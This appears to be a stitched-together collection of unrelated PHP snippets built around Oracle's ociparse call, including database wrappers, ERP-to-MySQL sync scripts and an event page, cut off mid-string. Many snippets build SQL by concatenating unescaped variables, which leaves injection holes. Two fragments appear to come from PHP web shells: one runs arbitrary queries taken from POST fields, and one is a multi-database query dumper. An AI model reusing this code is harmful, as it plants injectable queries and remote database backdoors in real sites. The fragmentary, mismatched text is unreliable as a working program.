function query($SQLCmd) { if (!$this->isConnect) { return null; } $stmt = ociparse($this->connection, $SQLCmd); ociexecute($stmt, OCI_DEFAULT); $results = array(); oci_fetch_all($stmt, $results, 0, -1, OCI_FETCHSTATEMENT_BY_COLUMN); $rs = new ResultSet(); $rs->setHolder($results); oci_free_statement($stmt); return $rs; }
function insert_id($table) { $sql = "SELECT max(id) ID FROM {$table}"; $query = ociparse($this->conn, $sql); ociexecute($query); ocifetchinto($query, $row, OCI_BOTH); return $row[ID]; }
/** parse a query and return a statement */ function parse($query) { $this->query = $query; $stmt = @ociparse($this->conn, $query); $this->stmt = $stmt; $this->error(); return $stmt; }
public static function realisateurParId($id) { $bd = new Mconnect(); $connect = $bd->getRessource(); $stmt = ociparse($connect, "select p.ID_PERS, p.NOM_PERS, p.PRENOM_PERS\r\t\t\t\t\t\t\t\t\tfrom PERSONNE p, REALISER r\r\t\t\t\t\t\t\t\t\tWHERE p.ID_PERS=r.ID_PERS\r\t\t\t\t\t\t\t\t\tAND r.ID_FILM='" . $id . "'"); ociexecute($stmt, OCI_DEFAULT); $tab = Mutilitaire::tableau($stmt); return $tab; $bd->close(); }
/** * Execute an SQL query * @param String sql */ public function exec($sql) { $this->debugInfo($sql); $stmt = ociparse($this->conn, $sql); $stmt_type = ocistatementtype($stmt); if (!ociexecute($stmt)) { trigger_error($this->lastError(), E_USER_ERROR); return 0; } return 1; }
function &_doQuery($queryString) { $stmt = ociparse($this->_connection, $queryString); if ($stmt && ociexecute($stmt)) { $rs =& new CopixDbResultSetOci8($stmt); $rs->_connector =& $this; return $rs; } else { return false; } }
public function select_genres() { //Connexion à la base $bd = new Mconnect(); $connect = $bd->getRessource(); $stmt = ociparse($connect, "select NOM_GENRE, ID_GENRE from GENRE ORDER BY NOM_GENRE"); //On parse la requête à effectuer sans oublier de lui passer la chaine de connexion en paramêtre ociexecute($stmt, OCI_DEFAULT); //On execute la requête en lui passant l'option OCI_DEFAULT $bd->close(); $tab = Mutilitaire::tableau($stmt); return $tab; }
/** * db_query() - Query the database * * NOTE - the OCI version of this may be somewhat inefficient * for large result sets (hundreds or thousands of rows selected) * However - most queries are returning 25-50 rows * * @param string SQL statement * @param int How many rows do you want returned * @param int Of matching rows, return only rows starting here */ function db_query($qstring, $limit = '-1', $offset = 0) { global $QUERY_COUNT, $sys_db_results, $sys_db_row_pointer, $sys_db_oci_commit_mode; $QUERY_COUNT++; $stmt = @ociparse($gfconn, $qstring); if (!$stmt) { return 0; } else { if ($limit > 0) { if (!$offset || $offset < 0) { $offset = 0; } } $res = @ociexecute($stmt, $sys_db_oci_commit_mode); if (!$res) { return 0; } else { //if offset, seek to starting point //potentially expensive if large offset //however there is no data_seek feature AFAICT $more_data = true; if ($offset > 0) { for ($i = 0; $i < $offset; $i++) { //burn them off @ocifetchinto($res, $x); if (!$x[1]) { //if no data be returned //get out of loop $more_data = false; break; } } } $i = 0; while ($more_data) { $i++; @ocifetchinto($res, $x, 'OCI_ASSOC+OCI_RETURN_NULLS+OCI_RETURN_LOBS'); $sys_db_results[$res][$i - 1] = $x; //see if data is being returned && we are //still within the requested $limit if (count($x) < 1 || $limit > 0 && $i >= $limit) { $more_data = false; } } $sys_db_row_pointer[$res] = 0; return $res; } } }
function query_exec($query) { # IMPORT MYSQL PARAMETERS (NOTE: IT WORKS WITH ABSOLUTE PATH ONLY !!) include '../config/registry_oracle_db.php'; # open connection to db //putenv("ORACLE_HOME=/usr/lib/oracle/xe/app/oracle/product/10.2.0"); $conn = OCILogOn($user_db, $password_db, $db) or die("Could not connect to Oracle database!") or die(ocierror()); # execute the EXEC query $statement = ociparse($conn, $query); $risultato = ociexecute($statement); # close connection ocilogoff($conn); $a = 1; return $a; }
function db_exec($qstring,$conn) { global $strLastSQL,$dDebug; if ($dDebug===true) echo $qstring."<br>"; $strLastSQL=$qstring; $stmt=ociparse($conn,$qstring); $stmt_type=ocistatementtype($stmt); if(!ociexecute($stmt)) { trigger_error(db_error($conn), E_USER_ERROR); return 0; } else return 1; }
<?php $sqlTotvsSG2010 = ociparse($totvsConexao, "SELECT G2_RECURSO\r\n\t , G2_OPERAC\r\n\t\t\t\t\t\t\t\t\t\t\t\t , G2_DESCRI\r\n\t\t\t\t\t\t\t\t\t\t\t\t , G2_PRODUTO\r\n\t\t\t\t\t\t\t\t\t\t\t\t , R_E_C_N_O_\r\n \t\t\t\t\t\t\t\t\t\t , D_E_L_E_T_\r\n\t\t\t\t\t\t\t\t\t\t\t FROM SG2010\r\n\t\t\t\t\t\t\t\t\t\t ORDER BY R_E_C_N_O_"); ociexecute($sqlTotvsSG2010); while ($rowTotvsSG2010 = oci_fetch_array($sqlTotvsSG2010)) { $sqlPcpOperacao = mysql_query("SELECT null FROM tb_pcp_operacao WHERE CO_RECNO = '" . $rowTotvsSG2010['R_E_C_N_O_'] . "'", $conexaoExtranet) or die(mysql_error()); if (mysql_num_rows($sqlPcpOperacao) == 0) { if (trim($rowTotvsSG2010['D_E_L_E_T_']) == '*') { mysql_query("INSERT INTO tb_pcp_operacao (CO_RECURSO\r\n\t\t\t\t\t \t , CO_OPERACAO\r\n\t\t\t\t\t\t\t\t , DS_OPERACAO\r\n\t\t\t\t\t\t\t\t , CO_PRODUTO\r\n\t\t\t\t\t\t\t\t , CO_RECNO\r\n\t\t\t\t\t\t\t\t , FL_DELET)\r\n\t\t\t\t\t\t\t VALUES('" . trim($rowTotvsSG2010['G2_RECURSO']) . "' \r\n\t\t\t\t\t\t\t , '" . trim($rowTotvsSG2010['G2_OPERAC']) . "'\r\n\t\t\t\t\t\t\t\t , '" . trim($rowTotvsSG2010['G2_DESCRI']) . "'\r\n\t\t\t\t\t\t\t\t , '" . trim($rowTotvsSG2010['G2_PRODUTO']) . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSG2010['R_E_C_N_O_'] . "'\r\n\t\t\t\t\t\t\t\t , '*')", $conexaoExtranet) or die(mysql_error()); } else { mysql_query("INSERT INTO tb_pcp_operacao (CO_RECURSO\r\n\t\t\t\t\t \t , CO_OPERACAO\r\n\t\t\t\t\t\t\t\t , DS_OPERACAO\r\n\t\t\t\t\t\t\t\t , CO_PRODUTO\r\n\t\t\t\t\t\t\t\t , CO_RECNO)\r\n\t\t\t\t\t\t\t VALUES('" . trim($rowTotvsSG2010['G2_RECURSO']) . "' \r\n\t\t\t\t\t\t\t , '" . trim($rowTotvsSG2010['G2_OPERAC']) . "'\r\n\t\t\t\t\t\t\t\t , '" . trim($rowTotvsSG2010['G2_DESCRI']) . "'\r\n\t\t\t\t\t\t\t\t , '" . trim($rowTotvsSG2010['G2_PRODUTO']) . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSG2010['R_E_C_N_O_'] . "')", $conexaoExtranet) or die(mysql_error()); } } else { if (trim($rowTotvsSG2010['D_E_L_E_T_']) == '*') { mysql_query("UPDATE tb_pcp_operacao SET\r\n\t\t\t\t\t CO_RECURSO = '" . trim($rowTotvsSG2010['G2_RECURSO']) . "'\r\n\t\t\t\t\t\t\t\t , CO_OPERACAO = '" . trim($rowTotvsSG2010['G2_OPERAC']) . "'\r\n\t\t\t\t\t\t\t\t , DS_OPERACAO = '" . trim($rowTotvsSG2010['G2_DESCRI']) . "'\r\n\t\t\t\t\t\t\t\t , CO_PRODUTO = '" . trim($rowTotvsSG2010['G2_PRODUTO']) . "'\r\n\t\t\t\t\t\t\t\t , FL_DELET = '*'\r\n\t\t\t\t\t \t\t WHERE CO_RECNO = '" . $rowTotvsSG2010['R_E_C_N_O_'] . "'", $conexaoExtranet) or die(mysql_error()); } else { mysql_query("UPDATE tb_pcp_operacao SET\r\n\t\t\t\t\t \t CO_RECURSO = '" . trim($rowTotvsSG2010['G2_RECURSO']) . "'\r\n\t\t\t\t\t\t\t\t , CO_OPERACAO = '" . trim($rowTotvsSG2010['G2_OPERAC']) . "'\r\n\t\t\t\t\t\t\t\t , DS_OPERACAO = '" . trim($rowTotvsSG2010['G2_DESCRI']) . "'\r\n\t\t\t\t\t\t\t\t , CO_PRODUTO = '" . trim($rowTotvsSG2010['G2_PRODUTO']) . "'\r\n\t\t\t\t\t \t\t WHERE CO_RECNO = '" . $rowTotvsSG2010['R_E_C_N_O_'] . "'", $conexaoExtranet) or die(mysql_error()); } } }
/** * Executes given SQL statement. This is an overloaded method. * * @param string $sql SQL statement * @return resource Result resource identifier or null * @access protected */ function _execute($sql) { $this->_statementId = @ociparse($this->connection, $sql); if (!$this->_statementId) { $this->_setError($this->connection); return false; } if ($this->__transactionStarted) { $mode = OCI_DEFAULT; } else { $mode = OCI_COMMIT_ON_SUCCESS; } if (!@ociexecute($this->_statementId, $mode)) { $this->_setError($this->_statementId); return false; } $this->_setError(null, true); switch (ocistatementtype($this->_statementId)) { case 'DESCRIBE': case 'SELECT': $this->_scrapeSQL($sql); break; default: return $this->_statementId; break; } if ($this->_limit >= 1) { ocisetprefetch($this->_statementId, $this->_limit); } else { ocisetprefetch($this->_statementId, 3000); } $this->_numRows = ocifetchstatement($this->_statementId, $this->_results, $this->_offset, $this->_limit, OCI_NUM | OCI_FETCHSTATEMENT_BY_ROW); $this->_currentRow = 0; $this->limit(); return $this->_statementId; }
} @pg_close($db); } else { echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to PostgreSQL server</b></font></div>"; } break; case 'Oracle': $db = @ocilogon($_POST['mysql_l'], $_POST['mysql_p'], $_POST['mysql_db']); if ($error = @ocierror()) { echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to Oracle server.<br>" . $error['message'] . "</b></font></div>"; } else { $querys = @explode(';', $_POST['db_query']); foreach ($querys as $num => $query) { if (strlen($query) > 5) { echo "<font face=Verdana size=-2 color=green><b>Query#" . $num . " : " . htmlspecialchars($query) . "</b></font><br>"; $stat = @ociparse($db, $query); @ociexecute($stat); if ($error = @ocierror()) { echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>" . $error['message'] . "</b></font></td></tr></table><br>"; } else { $rowcount = @ocirowcount($stat); if ($rowcount != 0) { echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>" . $rowcount . "</b></font></td></tr></table><br>"; } else { echo "<table width=100%><tr>"; for ($j = 1; $j <= @ocinumcols($stat); $j++) { echo "<td bgcolor=#cccccc><font face=Verdana size=-2><b> " . htmlspecialchars(@ocicolumnname($stat, $j)) . " </b></font></td>"; } echo "</tr>"; while (ocifetch($stat)) { echo "<tr>";
<?php $sqlTotvsSA3010 = ociparse($totvsConexao, "SELECT COUNT(*) AS QTD_SA3010 FROM SA3010"); ociexecute($sqlTotvsSA3010); $rowTotvsSA3010 = oci_fetch_array($sqlTotvsSA3010); $quantidadeTotvsSA3010 = $rowTotvsSA3010['QTD_SA3010']; $sqlMySQLFatVendedor = mysql_query("SELECT COUNT(*) AS QTD_FAT_VENDEDOR FROM tb_fat_Vendedor", $conexaoExtranet) or die(mysql_error()); $rowMySQLFatVendedor = mysql_fetch_array($sqlMySQLFatVendedor); $quantidadeMySQLFatVendedor = $rowMySQLFatVendedor['QTD_FAT_VENDEDOR']; if ($quantidadeTotvsSA3010 != $quantidadeMySQLFatVendedor) { $quantidadeDiferenca = $quantidadeTotvsSA3010 - $quantidadeMySQLFatVendedor; enviaEmailNotificacao(date("d/m/Y h:i:s"), "FatVendedor", $quantidadeTotvsSA3010, $quantidadeMySQLFatVendedor, $quantidadeDiferenca); echo "Sincronismo Validação Tabela de Vendedor Concluido e e-mail de Notificacao Enviado.<br>"; } else { echo "Sincronismo Validação Tabela de Vendedor Concluido sem Divergencia.<br>"; }
<?php $sqlTotvsSG2010 = ociparse($totvsConexao, "SELECT G2_RECURSO\r\n\t , G2_OPERAC\r\n\t\t\t\t\t\t\t\t\t\t\t\t , G2_DESCRI\r\n\t\t\t\t\t\t\t\t\t\t\t\t , G2_PRODUTO\r\n\t\t\t\t\t\t\t\t\t\t\t\t , R_E_C_N_O_\r\n \t\t\t\t\t\t\t\t\t\t\t , D_E_L_E_T_\r\n\t\t\t\t\t\t\t\t\t\t\t FROM SG2010\r\n\t\t\t\t\t\t\t\t\t\t\t WHERE R_E_C_N_O_ = '" . $rowTotvsLog["R_E_C_N_O_"] . "'"); ociexecute($sqlTotvsSG2010); $rowTotvsSG2010 = oci_fetch_array($sqlTotvsSG2010); if ($rowTotvsLog["TP_LOG"] == "Insert") { mysql_query("INSERT INTO tb_pcp_operacao (CO_RECURSO\r\n\t\t\t\t\t , CO_OPERACAO\r\n\t\t\t\t\t\t , DS_OPERACAO\r\n\t\t\t\t\t\t , CO_PRODUTO\r\n\t\t\t\t\t\t , CO_RECNO)\r\n\t\t\t\t\t VALUES('" . trim($rowTotvsSG2010['G2_RECURSO']) . "' \r\n\t\t\t\t\t , '" . trim($rowTotvsSG2010['G2_OPERAC']) . "'\r\n\t\t\t\t\t , '" . trim($rowTotvsSG2010['G2_DESCRI']) . "'\r\n\t\t\t\t\t , '" . trim($rowTotvsSG2010['G2_PRODUTO']) . "'\r\n\t\t\t\t\t , '" . $rowTotvsSG2010['R_E_C_N_O_'] . "')", $conexaoExtranet); } elseif ($rowTotvsLog["TP_LOG"] == "Update") { mysql_query("UPDATE tb_pcp_operacao SET\r\n\t\t\t\t\t CO_RECURSO = '" . trim($rowTotvsSG2010['G2_RECURSO']) . "'\r\n\t\t\t\t\t , CO_OPERACAO = '" . trim($rowTotvsSG2010['G2_OPERAC']) . "'\r\n\t\t\t\t\t\t , DS_OPERACAO = '" . trim($rowTotvsSG2010['G2_DESCRI']) . "'\r\n\t\t\t\t\t\t , CO_PRODUTO = '" . trim($rowTotvsSG2010['G2_PRODUTO']) . "'\r\n\t\t\t\t\t WHERE CO_RECNO = '" . $rowTotvsSG2010['R_E_C_N_O_'] . "'", $conexaoExtranet); } elseif ($rowTotvsLog["TP_LOG"] == "Update Campo D_E_L_E_T_") { if (trim($rowTotvsSG2010['D_E_L_E_T_']) == '*') { mysql_query("UPDATE tb_pcp_operacao SET FL_DELET = '*' WHERE CO_RECNO = '" . $rowTotvsSG2010['R_E_C_N_O_'] . "'", $conexaoExtranet); } else { mysql_query("UPDATE tb_pcp_operacao SET FL_DELET = null WHERE CO_RECNO = '" . $rowTotvsSG2010['R_E_C_N_O_'] . "'", $conexaoExtranet); } } elseif ($rowTotvsLog["TP_LOG"] == "Delete") { mysql_query("UPDATE tb_pcp_operacao SET FL_DELET = '*' WHERE CO_RECNO = '" . $rowTotvsSG2010['R_E_C_N_O_'] . "'", $conexaoExtranet); }
<?php $sqlTotvsDA4010 = ociparse($totvsConexao, "SELECT DA4_FILIAL\r\n\t\t\t\t\t\t\t\t\t\t\t , DA4_COD\r\n\t\t\t\t\t\t\t\t\t\t\t\t , DA4_NOME\r\n\t\t\t\t\t\t\t\t\t\t\t , DA4_NREDUZ\r\n\t\t\t\t\t\t\t\t\t\t\t , DA4_END\r\n\t\t\t\t\t\t\t\t\t\t\t , DA4_BAIRRO\r\n\t\t\t\t\t\t\t\t\t\t\t , DA4_MUN\r\n\t\t\t\t\t\t\t\t\t\t\t , DA4_EST\r\n\t\t\t\t\t\t\t\t\t\t\t , DA4_CEP\r\n\t\t\t\t\t\t\t\t\t\t\t , DA4_CGC\r\n\t\t\t\t\t\t\t\t\t\t\t , DA4_TEL\r\n\t\t\t\t\t\t\t\t\t\t\t , DA4_BLQMOT\r\n\t\t\t\t\t\t\t\t\t\t\t , DA4_TRANPO\r\n\t\t\t\t\t\t\t\t\t\t\t , R_E_C_N_O_\r\n\t\t\t\t\t\t\t\t\t\t\t , D_E_L_E_T_\r\n\t\t\t\t\t\t\t\t\t\t\t FROM DA4010\r\n\t\t\t\t\t\t\t\t\t\t ORDER BY R_E_C_N_O_"); ociexecute($sqlTotvsDA4010); while ($rowTotvsDA4010 = oci_fetch_array($sqlTotvsDA4010)) { $sqlFatMotorista = mysql_query("SELECT null FROM tb_fat_motorista WHERE CO_RECNO = '" . $rowTotvsDA4010['R_E_C_N_O_'] . "'", $conexaoExtranet) or die(mysql_error()); if (mysql_num_rows($sqlFatMotorista) == 0) { if (trim($rowTotvsDA4010['D_E_L_E_T_']) == '*') { mysql_query("INSERT INTO tb_fat_motorista (CO_FILIAL\r\n\t\t\t\t\t\t\t , CO_MOTORISTA\r\n\t\t\t\t\t\t\t\t , NU_CPF_CNPJ\r\n\t\t\t\t\t\t\t\t , NO_MOTORISTA\r\n\t\t\t\t\t\t\t\t , NO_REDUZ_MOTORISTA\r\n\t\t\t\t\t\t\t\t , DS_ENDERECO\r\n\t\t\t\t\t\t\t\t , NO_BAIRRO\r\n\t\t\t\t\t\t\t\t , NO_MUNICIPIO\r\n\t\t\t\t\t\t\t\t , SG_UF\r\n\t\t\t\t\t\t\t\t , NU_CEP\r\n\t\t\t\t\t\t\t\t , NU_TEL\r\n\t\t\t\t\t\t\t\t , CO_TRANSPORTADORA\r\n\t\t\t\t\t\t\t\t , FL_BLOQUEADO\r\n\t\t\t\t\t\t\t\t , CO_RECNO\r\n\t\t\t\t\t\t\t\t , FL_DELET)\r\n\t\t\t\t\t\t\t VALUES('" . trim($rowTotvsDA4010['DA4_FILIAL']) . "' \r\n\t\t\t\t\t\t\t , '" . trim($rowTotvsDA4010['DA4_COD']) . "' \r\n\t\t\t\t\t\t\t\t , '" . trim($rowTotvsDA4010['DA4_CGC']) . "' \r\n\t\t\t\t\t\t\t\t , '" . trim(addslashes($rowTotvsDA4010['DA4_NOME'])) . "' \r\n\t\t\t\t\t\t\t\t , '" . trim(addslashes($rowTotvsDA4010['DA4_NREDUZ'])) . "' \r\n\t\t\t\t\t\t\t\t , '" . trim(addslashes($rowTotvsDA4010['DA4_END'])) . "' \r\n\t\t\t\t\t\t\t\t , '" . trim(addslashes($rowTotvsDA4010['DA4_BAIRRO'])) . "' \r\n\t\t\t\t\t\t\t\t , '" . trim(addslashes($rowTotvsDA4010['DA4_MUN'])) . "' \r\n\t\t\t\t\t\t\t\t , '" . trim(addslashes($rowTotvsDA4010['DA4_EST'])) . "' \r\n\t\t\t\t\t\t\t\t , '" . trim($rowTotvsDA4010['DA4_CEP']) . "' \r\n\t\t\t\t\t\t\t\t , '" . trim($rowTotvsDA4010['DA4_TEL']) . "' \r\n\t\t\t\t\t\t\t\t , '" . trim($rowTotvsDA4010['DA4_TRANPO']) . "' \r\n\t\t\t\t\t\t\t\t , '" . trim($rowTotvsDA4010['DA4_BLQMOT']) . "' \r\n\t\t\t\t\t\t\t\t , '" . trim($rowTotvsDA4010['R_E_C_N_O_']) . "'\r\n\t\t\t\t\t\t\t\t , '*')", $conexaoExtranet) or die(mysql_error()); } else { mysql_query("INSERT INTO tb_fat_motorista (CO_FILIAL\r\n\t\t\t\t\t\t\t , CO_MOTORISTA\r\n\t\t\t\t\t\t\t\t , NU_CPF_CNPJ\r\n\t\t\t\t\t\t\t\t , NO_MOTORISTA\r\n\t\t\t\t\t\t\t\t , NO_REDUZ_MOTORISTA\r\n\t\t\t\t\t\t\t\t , DS_ENDERECO\r\n\t\t\t\t\t\t\t\t , NO_BAIRRO\r\n\t\t\t\t\t\t\t\t , NO_MUNICIPIO\r\n\t\t\t\t\t\t\t\t , SG_UF\r\n\t\t\t\t\t\t\t\t , NU_CEP\r\n\t\t\t\t\t\t\t\t , NU_TEL\r\n\t\t\t\t\t\t\t\t , CO_TRANSPORTADORA\r\n\t\t\t\t\t\t\t\t , FL_BLOQUEADO\r\n\t\t\t\t\t\t\t\t , CO_RECNO)\r\n\t\t\t\t\t\t\t VALUES('" . trim($rowTotvsDA4010['DA4_FILIAL']) . "' \r\n\t\t\t\t\t\t\t , '" . trim($rowTotvsDA4010['DA4_COD']) . "' \r\n\t\t\t\t\t\t\t\t , '" . trim($rowTotvsDA4010['DA4_CGC']) . "' \r\n\t\t\t\t\t\t\t\t , '" . trim(addslashes($rowTotvsDA4010['DA4_NOME'])) . "' \r\n\t\t\t\t\t\t\t\t , '" . trim(addslashes($rowTotvsDA4010['DA4_NREDUZ'])) . "' \r\n\t\t\t\t\t\t\t\t , '" . trim(addslashes($rowTotvsDA4010['DA4_END'])) . "' \r\n\t\t\t\t\t\t\t\t , '" . trim(addslashes($rowTotvsDA4010['DA4_BAIRRO'])) . "' \r\n\t\t\t\t\t\t\t\t , '" . trim(addslashes($rowTotvsDA4010['DA4_MUN'])) . "' \r\n\t\t\t\t\t\t\t\t , '" . trim(addslashes($rowTotvsDA4010['DA4_EST'])) . "' \r\n\t\t\t\t\t\t\t\t , '" . trim($rowTotvsDA4010['DA4_CEP']) . "' \r\n\t\t\t\t\t\t\t\t , '" . trim($rowTotvsDA4010['DA4_TEL']) . "' \r\n\t\t\t\t\t\t\t\t , '" . trim($rowTotvsDA4010['DA4_TRANPO']) . "' \r\n\t\t\t\t\t\t\t\t , '" . trim($rowTotvsDA4010['DA4_BLQMOT']) . "' \r\n\t\t\t\t\t\t\t\t , '" . trim($rowTotvsDA4010['R_E_C_N_O_']) . "')", $conexaoExtranet) or die(mysql_error()); } } else { if (trim($rowTotvsDA4010['D_E_L_E_T_']) == '*') { mysql_query("UPDATE tb_fat_motorista SET\r\n\t\t\t\t\t\t\t CO_FILIAL = '" . trim($rowTotvsDA4010['DA4_FILIAL']) . "' \r\n\t\t\t\t\t\t\t\t , CO_MOTORISTA = '" . trim($rowTotvsDA4010['DA4_COD']) . "' \r\n\t\t\t\t\t\t\t\t , NU_CPF_CNPJ = '" . trim($rowTotvsDA4010['DA4_CGC']) . "' \r\n\t\t\t\t\t\t\t\t , NO_MOTORISTA = '" . trim(addslashes($rowTotvsDA4010['DA4_NOME'])) . "' \r\n\t\t\t\t\t\t\t\t , NO_REDUZ_MOTORISTA = '" . trim(addslashes($rowTotvsDA4010['DA4_NREDUZ'])) . "' \r\n\t\t\t\t\t\t\t\t , DS_ENDERECO = '" . trim(addslashes($rowTotvsDA4010['DA4_END'])) . "' \r\n\t\t\t\t\t\t\t\t , NO_BAIRRO = '" . trim(addslashes($rowTotvsDA4010['DA4_BAIRRO'])) . "' \r\n\t\t\t\t\t\t\t\t , NO_MUNICIPIO = '" . trim(addslashes($rowTotvsDA4010['DA4_MUN'])) . "' \r\n\t\t\t\t\t\t\t\t , SG_UF = '" . trim(addslashes($rowTotvsDA4010['DA4_EST'])) . "' \r\n\t\t\t\t\t\t\t\t , NU_CEP = '" . trim($rowTotvsDA4010['DA4_CEP']) . "' \r\n\t\t\t\t\t\t\t\t , NU_TEL = '" . trim($rowTotvsDA4010['DA4_TEL']) . "' \r\n\t\t\t\t\t\t\t\t , CO_TRANSPORTADORA = '" . trim($rowTotvsDA4010['DA4_TRANPO']) . "' \r\n\t\t\t\t\t\t\t\t , FL_BLOQUEADO = '" . trim($rowTotvsDA4010['DA4_BLQMOT']) . "' \r\n\t\t\t\t\t\t\t\t , FL_DELET = '*'\t\t\t\t\t \r\n\t\t\t\t\t\t\t WHERE CO_RECNO = '" . $rowTotvsDA4010['R_E_C_N_O_'] . "'", $conexaoExtranet) or die(mysql_error()); } else { mysql_query("UPDATE tb_fat_motorista SET\r\n\t\t CO_FILIAL = '" . trim($rowTotvsDA4010['DA4_FILIAL']) . "' \r\n\t\t\t\t\t\t\t\t , CO_MOTORISTA = '" . trim($rowTotvsDA4010['DA4_COD']) . "' \r\n\t\t\t\t\t\t\t\t , NU_CPF_CNPJ = '" . trim($rowTotvsDA4010['DA4_CGC']) . "' \r\n\t\t\t\t\t\t\t\t , NO_MOTORISTA = '" . trim(addslashes($rowTotvsDA4010['DA4_NOME'])) . "' \r\n\t\t\t\t\t\t\t\t , NO_REDUZ_MOTORISTA = '" . trim(addslashes($rowTotvsDA4010['DA4_NREDUZ'])) . "' \r\n\t\t\t\t\t\t\t\t , DS_ENDERECO = '" . trim(addslashes($rowTotvsDA4010['DA4_END'])) . "' \r\n\t\t\t\t\t\t\t\t , NO_BAIRRO = '" . trim(addslashes($rowTotvsDA4010['DA4_BAIRRO'])) . "' \r\n\t\t\t\t\t\t\t\t , NO_MUNICIPIO = '" . trim(addslashes($rowTotvsDA4010['DA4_MUN'])) . "' \r\n\t\t\t\t\t\t\t\t , SG_UF = '" . trim(addslashes($rowTotvsDA4010['DA4_EST'])) . "' \r\n\t\t\t\t\t\t\t\t , NU_CEP = '" . trim($rowTotvsDA4010['DA4_CEP']) . "' \r\n\t\t\t\t\t\t\t\t , NU_TEL = '" . trim($rowTotvsDA4010['DA4_TEL']) . "' \r\n\t\t\t\t\t\t\t\t , CO_TRANSPORTADORA = '" . trim($rowTotvsDA4010['DA4_TRANPO']) . "' \r\n\t\t\t\t\t\t\t\t , FL_BLOQUEADO = '" . trim($rowTotvsDA4010['DA4_BLQMOT']) . "'\r\n\t\t\t\t\t\t\t WHERE CO_RECNO = '" . $rowTotvsDA4010['R_E_C_N_O_'] . "'", $conexaoExtranet) or die(mysql_error()); } } }
function querY($type, $host, $user, $pass, $db = '', $query) { $res = ''; switch ($type) { case 'MySQL': if (!function_exists('mysql_connect')) { return 0; } $link = mysql_connect($host, $user, $pass); if ($link) { if (!empty($db)) { mysql_select_db($db, $link); } $result = mysql_query($query, $link); while ($data = mysql_fetch_row($result)) { $res .= implode('|-|-|-|-|-|', $data) . '|+|+|+|+|+|'; } $res .= '[+][+][+]'; for ($i = 0; $i < mysql_num_fields($result); $i++) { $res .= mysql_field_name($result, $i) . '[-][-][-]'; } mysql_close($link); return $res; } break; case 'MSSQL': if (!function_exists('mssql_connect')) { return 0; } $link = mssql_connect($host, $user, $pass); if ($link) { if (!empty($db)) { mssql_select_db($db, $link); } $result = mssql_query($query, $link); while ($data = mssql_fetch_row($result)) { $res .= implode('|-|-|-|-|-|', $data) . '|+|+|+|+|+|'; } $res .= '[+][+][+]'; for ($i = 0; $i < mssql_num_fields($result); $i++) { $res .= mssql_field_name($result, $i) . '[-][-][-]'; } mssql_close($link); return $res; } break; case 'Oracle': if (!function_exists('ocilogon')) { return 0; } $link = ocilogon($user, $pass, $db); if ($link) { $stm = ociparse($link, $query); ociexecute($stm, OCI_DEFAULT); while ($data = ocifetchinto($stm, $data, OCI_ASSOC + OCI_RETURN_NULLS)) { $res .= implode('|-|-|-|-|-|', $data) . '|+|+|+|+|+|'; } $res .= '[+][+][+]'; for ($i = 0; $i < oci_num_fields($stm); $i++) { $res .= oci_field_name($stm, $i) . '[-][-][-]'; } return $res; } break; case 'PostgreSQL': if (!function_exists('pg_connect')) { return 0; } $link = pg_connect("host={$host} dbname={$db} user={$user} password={$pass}"); if ($link) { $result = pg_query($link, $query); while ($data = pg_fetch_row($result)) { $res .= implode('|-|-|-|-|-|', $data) . '|+|+|+|+|+|'; } $res .= '[+][+][+]'; for ($i = 0; $i < pg_num_fields($result); $i++) { $res .= pg_field_name($result, $i) . '[-][-][-]'; } pg_close($link); return $res; } break; } return 0; }
$fechaInicio = $listaEventos["START_DATE"][$p]; $fechaFin = $listaEventos["END_DATE"][$p]; $idEvento = $listaEventos["ID_EVENT"][$p]; $link = "EstadisticasEvento.php?id=" . $idEvento; echo "<div class='Evento'>\n <a href={$link}>\n <div class='Evento_Info_Box'>\n <div class='Evento_fecha'> {$fechaInicio} -- {$fechaFin} </div>\n <div class='Evento_Nombre'> {$nombreEvento} </div>\n <div class='Evento_Premios'>\n <table>\n <caption>Premios</caption>\n <tr>\n <td>,</td>\n <td>,</td>\n <td>,</td>\n </tr>\n </table>\n </div>\n </div>\n </a>\n </div>"; } ?> </div> <div class="Evento_Seg_Titulo">MUJERES</div> <div id="Eventos_Mujeres" class="ContenerdorEventos"> <?php $conn = OCILogon($user, $pass, $db); $outrefc = ocinewcursor($conn); //Declare cursor variable $mycursor = ociparse($conn, "begin getInfoEvents(:curs,1); end;"); // prepare procedure call ocibindbyname($mycursor, ':curs', $outrefc, -1, OCI_B_CURSOR); // bind procedure parameters $ret = ociexecute($mycursor); // Execute function $ret = ociexecute($outrefc); // Execute cursor $nrows = ocifetchstatement($outrefc, $listaEventos); // fetch data from cursor ocifreestatement($mycursor); // close procedure call ocifreestatement($outrefc); // close cursor for ($p = 0; $p < count($listaEventos["NAME_EVENT"]); $p++) { $nombreEvento = $listaEventos["NAME_EVENT"][$p];
<?php $sqlTotvsSC6010 = ociparse($totvsConexao, "SELECT C6_FILIAL\r\n\t\t\t\t\t\t\t\t\t\t\t , C6_ITEM\r\n\t\t\t\t\t\t\t\t\t\t\t\t , C6_PRODUTO\r\n\t\t\t\t\t\t\t\t\t\t\t\t , C6_QTDVEN\r\n\t\t\t\t\t\t\t\t\t\t\t\t , C6_UM\r\n\t\t\t\t\t\t\t\t\t\t\t\t , C6_PRCVEN\r\n\t\t\t\t\t\t\t\t\t\t\t\t , C6_VALOR\r\n\t\t\t\t\t\t\t\t\t\t\t\t , C6_NUM\r\n\t\t\t\t\t\t\t\t\t\t\t\t , C6_TES \r\n\t\t\t\t\t\t\t\t\t\t\t\t , C6_CF\r\n\t\t\t\t\t\t\t\t\t\t\t\t , C6_QTDLIB\r\n\t\t\t\t\t\t\t\t\t\t\t\t , C6_MOTAT\r\n\t\t\t\t\t\t\t\t\t\t\t\t , C6_PROORI\r\n\t\t\t\t\t\t\t\t\t\t\t\t , C6_QTDENT\r\n\t\t\t\t\t\t\t\t\t\t\t\t , C6_DESCONT\r\n\t\t\t\t\t\t\t\t\t\t\t\t , C6_NOTA\r\n\t\t\t\t\t\t\t\t\t\t\t\t , C6_SERIE\r\n\t\t\t\t\t\t\t\t\t\t\t\t , C6_VALDESC\r\n\t\t\t\t\t\t\t\t\t\t\t\t , C6_NUMORC\r\n\t\t\t\t\t\t\t\t\t\t\t\t , C6_ENTREG\r\n\t\t\t\t\t\t\t\t\t\t\t\t , 